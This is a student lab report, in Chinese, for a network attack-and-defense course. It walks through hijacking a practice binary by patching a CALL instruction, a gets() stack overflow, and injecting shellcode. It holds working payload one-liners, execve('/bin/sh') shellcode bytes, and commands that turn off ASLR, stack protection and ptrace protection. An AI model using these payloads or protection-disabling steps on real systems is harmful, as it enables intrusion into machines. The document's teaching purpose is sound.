20252901 2025-2026-2 《网络攻防实践》实践九报告
20252901 程宇 2025-2026-2 《网络攻防实践》实践九报告
一、实践内容概述
本次实验以Linux可执行文件pwn1为目标程序,该程序的正常执行流程为main函数调用foo函数,foo函数仅负责将用户输入的字符串回显输出。程序中还包含一个未被调用的getShell函数,该函数能够返回一个交互式Shell。本次实验需要通过三种不同的技术手段,劫持程序的执行流程,使程序运行getShell函数并获取Shell,从而深入理解缓冲区溢出漏洞的原理与利用方式。
本次实验包含三个核心实践任务:
1. 动手实践任务一:手工修改可执行文件,改变程序执行流程
直接编辑程序的二进制机器码,修改CALL指令的操作数,使main函数转而调用getShell函数,实现程序执行流的静态劫持。
2. 动手实践任务二:利用foo函数的BoF漏洞,构造攻击字符串触发getShell
分析foo函数中gets函数导致的缓冲区溢出漏洞,精心构造恶意输入字符串覆盖栈中的返回地址,使程序在foo函数返回时跳转到getShell函数执行。
3. 动手实践任务三:注入自定义Shellcode并执行
构造包含自定义Shellcode的攻击载荷,借助缓冲区溢出漏洞将Shellcode注入程序内存空间,并劫持程序执行流运行该Shellcode,实现不依赖程序内建getShell函数的Shell获取。
实验要求
- 掌握NOP、JNE、JE、JMP、CMP、CALL、RET等核心汇编指令对应的机器码å
- 熟练使用反汇编工具与十六进制编辑器,完成二进制文件的分析与修改
- 能够通过修改机器指令,精准改变程序的正常执行流程
- 理解缓冲区溢出攻击的核心原理,能够独立构造攻击载荷(Payload)完成BoF攻击
实验相关理论知识
缓冲区溢出(Buffer Overflow)
缓冲区溢出是一种高危软件安全漏洞,其本质是程序向内存缓冲区写入数据时超出了预分配的内存边界,导致多余的数据覆盖了相邻的内存区域。攻击者可借此覆盖内存中的函数返回地址、函数指针等关键控制信息,从而劫持程序执行流,执行恶意代码。
BoF(Buffer Overflow)攻击原理
BoF攻击的核心在于利用无边界检查的输入函数(如本实验中的gets函数),向缓冲区写入超长数据以覆盖栈帧中函数的返回地址。当被攻击的函数执行ret指令时,CPU会将被覆盖的恶意地址加载到指令指针寄存器(EIP)中,从而跳转到攻击者指定的内存地址执行代码。
一个完整的BoF攻击Payload通常由三部分组成:填充数据(填满缓冲区与栈帧保留空间)、恶意返回地址(覆盖原函数返回地址)、Shellcode(攻击者想要执行的恶意代码),部分场景还会在Shellcode前添加NOP空指令滑板来提升攻击成功率。
Shellcode
Shellcode是一段可直接被CPU执行的机器码,因通常用于获取目标系统的交互式Shell而得名。Shellcode需针对目标CPU架构(本实验为x86 32位)编写,同时需满足体积精简、无坏字符等要求,确保能在漏洞利用场景中正常执行。
核心工具与汇编指令
- 反汇编工具:objdump可将二进制可执行文件的机器码转换为汇编代码,用于分析程序的函数调用逻辑与指令序列;gdb是Linux下的程序调试工具,可动态跟踪程序执行、设置断点、查看内存与寄存器状态
- 十六进制编辑工具:xxd可将二进制文件转换为十六进制格式,也可将十六进制数据还原为二进制,用于手工修改可执行文件的机器码
- 核心汇编指令机器码:
| 汇编指令 | 机器码 | 指令功能 |
|---|---|---|
| NOP | 0x90 | 空操作,CPU不执行任何动作,仅占用一个时钟周期 |
| CALL | 0xE8 | 函数调用,将下一条指令地址压栈后跳转到目标地址执行 |
| RET | 0xC3 | 函数返回,从栈中弹出返回地址加载到EIP,继续执行 |
| JMP | 0xE9/0xEB | 无条件跳转,分为近跳转与短跳转 |
| JE/JZ | 0x74 | 相等/结果为0时跳转 |
| JNE/JNZ | 0x75 | 不相等/结果非0时跳转 |
| CMP | 0x39 | 比较两个操作数,根据结果设置标志寄存器 |
二、实践步骤与过程
任务一:手工修改可执行文件,改变程序执行流程
本任务的核心是修改main函数中call foo指令的机器码,将调用目标从foo函数改为getShell函数,直接在二进制层面劫持程序执行流。
步骤1:实验环境基础配置
Kali虚拟机主机名修改
为满足实验规范,将Kali主机名修改为「学号+姓名缩写」,提供两种修改方式:
修改方法一:
sudo su # 切换到root权限
hostname 学号姓名缩写 # 直接修改主机名
hostname # 验证修改结果

修改方法二:
# 修改配置文件实现永久修改
sudo vim /etc/hostname
# 删除原有内容,输入学号姓名缩写,:wq退出,并重启虚拟机


目标程序准备
将实验所需的pwn1文件下载并传输到Kali虚拟机桌面,为区分原始文件与修改后文件,对其进行重命名:
cd Desktop # 切换到桌面目录
ls # 查看目录文件,确认pwn1存在
mv pwn1 pwn学号姓名缩写 # 重命名文件
ls # 验证重命名结果

步骤2:程序反汇编与逻辑分析
使用objdump工具对重命名后的程序进行反汇编,分析核心函数的地址与调用逻辑:
objdump -d pwn学号姓名缩写 | more # 反汇编程序并分页显示(按回车显示more)

通过反汇编结果,提取三个核心函数的关键信息:
- main函数:地址范围080484af ~ 080484c0,其中080484b5地址处为
call 8048491 <foo>指令,机器码为e8 d7 ff ff ff。该指令长度为5字节,下一条指令的地址为080484ba(080484b5 + 5) - foo函数:起始地址为08048491,函数内部仅调用gets与puts函数,实现用户输入的读取与回显,无输入长度检查
- getShell函数:起始地址为0804847d,函数内部调用system函数执行
/bin/sh,可返回交互式Shell
![image]()
步骤3:CALL指令偏移量计算
x86架构中,CALL指令的机器码格式为0xE8 + 4字节相对偏移量,偏移量计算公式为:
目标函数地址 - CALL指令下一条指令的地址 = 相对偏移量
- 原始调用foo函数的偏移量计算:
08048491 - 080484ba = 0xffffffd7(负数用补码表示),小端序存储为d7 ff ff ff,与反汇编结果一致 - 目标调用getShell函数的偏移量计算:
0804847d - 080484ba = 0xffffffc3,小端序存储为c3 ff ff ff
因此,只需将call foo指令机器码中的d7 ff ff ff修改为c3 ff ff ff,即可让main函数调用getShell而非foo。
步骤4:二进制文件的十六进制编辑
使用vim编辑器打开目标程序,初始打开为二进制乱码,需通过xxd转换为十六进制格式:
vim pwn学号姓名缩写
# 进入vim后,按ESC进入命令模式,输入以下命令转换为十六进制
:%!xxd

在十六进制模式下,查找目标机器码:
/e8 d7

定位到e8 d7 ff ff ff所在的行(000004b0),将其中的d7修改为c3,确保修改后机器码为e8 c3 ff ff ff。

修改完成后,将十六进制格式还原为二进制格式:
:%!xxd -r
保存并退出vim编辑器:
:wq
步骤5:修改结果验证
反汇编验证:再次执行反汇编命令,查看main函数的调用逻辑:
objdump -d pwn学号姓名缩写 | more

可看到80484b5处已变为call 804847d <getShell>,机器码修改成功。
运行程序验证:执行修改后的程序,验证是否成功获取Shell:
./pwn学号姓名缩写

程序运行后直接进入Shell交互界面,可执行ls、whoami等命令,任务一执行成功。
任务二:利用foo函数的BoF漏洞,构造攻击字符串触发getShell
本任务无需修改程序源文件,仅通过构造恶意输入字符串,利用foo函数的缓冲区溢出漏洞,覆盖栈中的返回地址,劫持程序执行流至getShell函数。
步骤1:foo函数栈结构与漏洞分析
通过反汇编结果分析foo函数的栈帧布局:
804849a: 89 04 24 mov %eax,(%esp) # 将缓冲区地址作为gets参数
804849d: e8 8e fe ff ff call 8048330 <gets@plt> # 调用无边界检查的gets函数
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave # 恢复ebp与esp
80484ae: c3 ret # 弹出返回地址到EIP

关键结论:
- gets函数读取的用户输入存储在
ebp-0x1c的缓冲区中,缓冲区大小为0x1c(即28字节) - 栈中从缓冲区起始地址到函数返回地址的内存布局为:28字节缓冲区 + 4字节旧EBP值 + 4字节返回地址
- 当输入字符串长度超过28字节时,会依次覆盖旧EBP值与返回地址;当输入长度达到32字节时,第33~36字节会完全覆盖栈中的返回地址
步骤2:构造攻击Payload
为了让foo函数执行ret指令时跳转到getShell函数执行,需满足:
- 前28字节为任意填充数据,填满缓冲区
- 第29~32字节为任意填充数据,覆盖旧EBP值
- 第33~36字节为getShell函数的起始地址
0x0804847d,由于x86架构采用小端序存储,需写为\x7d\x84\x04\x08
步骤3:生成Payload文件
使用perl语言构造包含二进制Payload的文件,解决终端无法直接输入十六进制字符的问题:
# 构造Payload,前32字节为填充数据,后4字节为小端序的getShell地址
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_2901cy
通过xxd命令验证生成的Payload文件内容:
xxd input_2901cy

可看到文件前32字节为填充的0x41(字符'A'的ASCII码),后4字节为7d 84 04 08,Payload构造成功。
步骤4:执行BoF攻击并验证
通过管道符将Payload文件内容作为目标程序的输入,触发缓冲区溢出攻击:
# 为程序添加可执行权限(若未添加)
chmod u+x ./pwn1
# 执行攻击,cat input文件后追加cat保持Shell交互
(cat input_2901cy; cat) | ./pwn1

程序运行后,成功进入Shell交互界面,可执行ls、whoami等系统命令,说明返回地址覆盖成功,getShell函数被正常触发,任务二执行成功。
任务三:注入自定义Shellcode并执行
本任务需构造包含自定义Shellcode的攻击载荷,通过缓冲区溢出漏洞将Shellcode注入程序内存空间,并劫持程序执行流运行这段Shellcode,实现不依赖程序自带getShell函数的Shell获取。
步骤1:前置工具安装与环境配置
execstack工具安装
execstack工具用于设置程序堆栈的可执行权限,是Shellcode注入攻击的前置条件。安装过程中需解决常见的软件源与锁占用问题:
方法一:apt在线安装
# 更新软件源
sudo apt-get update
sudo apt-get upgrade
# 安装execstack
sudo apt install execstack
安装失败问题处理:若提示Unable to locate package execstack,需编辑软件源配置文件:
sudo vim /etc/apt/sources.list
添加以下源后重新更新安装:
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
方法二:离线安装(在线安装失败时使用)
手动下载execstack的deb安装包,传输到Kali虚拟机后执行(下载链接: http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb ):
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

设置程序堆栈可执行
关闭Linux系统的堆栈保护机制,允许在栈上执行代码:
# 设置目标程序堆栈可执行
sudo execstack -s ./pwn1
# 验证设置结果,输出包含X则表示设置成功
sudo execstack -q ./pwn1

关闭内核地址随机化
地址空间布局随机化(ASLR)会导致栈地址每次运行都发生变化,无法精准定位Shellcode地址,需临时关闭该机制:
# 关闭地址随机化,0为关闭,2为开启
sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'
# 验证关闭结果,输出0则表示关闭成功
more /proc/sys/kernel/randomize_va_space

步骤2:构造初始攻击Payload
本次采用返回地址 + NOP滑板 + Shellcode的Payload结构,各部分作用如下:
- 填充数据:32字节的任意数据,用于填满缓冲区并覆盖旧EBP
- 占位返回地址:4字节的
\x01\x02\x03\x04,用于后续调试中定位栈中返回地址的位置 - NOP滑板:多字节的
\x90(NOP指令),CPU执行时会依次滑过,最终进入Shellcode,大幅提升攻击成功率 - 自定义Shellcode:x86 32位Linux下执行
execve("/bin/sh")的机器码,无坏字符,可直接获取交互式Shell
使用perl生成初始Payload文件:
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
Shellcode核心汇编逻辑说明:
31 c0 xor %eax,%eax ; 清空eax寄存器
50 push %eax ; 字符串结束符0入栈
68 2f 2f 73 68 push 0x68732f2f ; "//sh"入栈
68 2f 62 69 6e push 0x6e69622f ; "/bin"入栈
89 e3 mov %esp,%ebx ; ebx指向"/bin//sh"字符串
50 push %eax ; 环境变量参数入栈
53 push %ebx ; 程序路径参数入栈
89 e1 mov %esp,%ecx ; ecx指向参数数组
31 d2 xor %edx,%edx ; 清空edx寄存器
b0 0b mov $0xb,%al ; execve系统调用号为11(0xb)
cd 80 int $0x80 ; 触发系统调用,执行/bin/sh
步骤3:GDB调试确定Shellcode内存地址
运行目标程序:在第一个终端执行以下命令,让程序加载初始Payload并保持运行:
(cat input_shellcode; cat) | ./pwn1

查看程序进程号:打开第二个终端,执行以下命令查找pwn1的进程PID:
ps -ef | grep pwn1

输出结果中,./pwn1对应的进程号即为目标PID。
GDB附加调试进程:在第二个终端启动gdb并附加到目标进程:
gdb
# gdb内执行,附加到目标进程
attach 目标PID

设置断点并查看栈地址:
反汇编foo函数,找到ret指令的地址(0x080484ae):
(gdb) disassemble foo

在ret指令处设置断点,确保程序执行到函数返回前暂停:
(gdb) break *0x080484ae
让程序继续执行到断点处(在第一个终端按下回车键后,gdb终端执行):
(gdb) c
程序断在断点处后,查看栈顶指针寄存器esp的值:
(gdb) info r esp
输出:esp 0xffffcf7c 0xffffcf7c,即返回地址存储在0xffffcf7c。

查看该地址的内存内容,验证占位返回地址的位置:
(gdb) x/16x 0xffffcf7c
可看到0xffffcf7c地址处的值为0x04030201,其后紧跟0x90909090(NOP滑板),说明返回地址后紧跟的就是NOP滑板与Shellcode。
确定最终返回地址:为了让CPU执行到NOP滑板并滑入Shellcode,将返回地址设置为esp + 4,或直接使用NOP滑板的地址,小端序表示为\x2c\xcf\xff\xff。
步骤4:构造最终Payload并执行攻击
替换占位返回地址为调试得到的实际地址,重新生成最终Payload文件:
perl -e 'print "A" x 32;print "\x2c\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
执行最终的Shellcode注入攻击:
(cat input_shellcode; cat) | ./pwn1

程序运行后成功进入交互式Shell,可正常执行系统命令,说明自定义Shellcode被成功注入并执行,任务三执行成功。
三、学习中遇到的问题及解决方法
| 问题编号 | 问题现象 | 问题原因 | 解决方案 |
|---|---|---|---|
| 1 | gdb attach进程时提示ptrace: Operation not permitted |
非root用户无权限使用ptrace跟踪其他进程,或系统开启了ptrace保护机制 | 1. 切换到root用户执行gdb attach操作;2. 临时关闭ptrace保护:sudo sh -c 'echo 0 > /proc/sys/kernel/yama/ptrace_scope' |
| 2 | 执行BoF攻击时程序提示segmentation fault段错误 | Payload构造错误,包括填充字节数错误、返回地址大小端序错误、Shellcode包含坏字符 | 1. 重新分析foo函数栈结构,确认缓冲区大小与填充字节数;2. 严格按照小端序编写返回地址,通过xxd验证Payload文件内容;3. 更换无坏字符的标准Shellcode,增加NOP滑板长度 |
| 3 | vim打开二进制文件修改后程序无法运行 | 未通过xxd -r将十六进制还原为二进制,直接保存了十六进制文本,破坏了ELF文件结构 |
严格遵循「:%!xxd转换十六进制 → 修改 → :%!xxd -r还原二进制 → 保存退出」的流程操作,修改完成后先通过objdump反汇编验证,再运行程序 |
四、实践总结
本次实验通过三种不同的技术手段,完整实现了对Linux 32位程序的缓冲区溢出攻击——从静态修改二进制文件劫持执行流,到动态利用BoF漏洞触发内置函数,再到自定义Shellcode注入执行,层层递进地深入理解了缓冲区溢出漏洞的原理与利用方式。
在实验过程中,我不仅掌握了objdump、gdb、xxd等二进制分析工具的使用方法,更深入理解了x86架构下程序的栈帧布局、函数调用与返回的底层机制,以及CALL、RET等汇编指令对程序执行流的控制逻辑。同时,实验中遇到的各类权限、程序崩溃问题,也极大地锻炼了我的问题排查与解决能力,让我认识到漏洞利用的精准性至关重要——一个字节的偏移错误就会导致攻击失败。
本次实验也让我深刻认识到软件安全的底层风险。一个简单的无边界检查gets函数,就可能导致整个程序被完全劫持。在日常的软件开发中,必须严格遵循安全编码规范,使用带边界检查的安全函数,开启操作系统的堆栈保护、地址随机化等安全机制,从源头规避缓冲区溢出这类高危漏洞。

浙公网安备 33010602011771号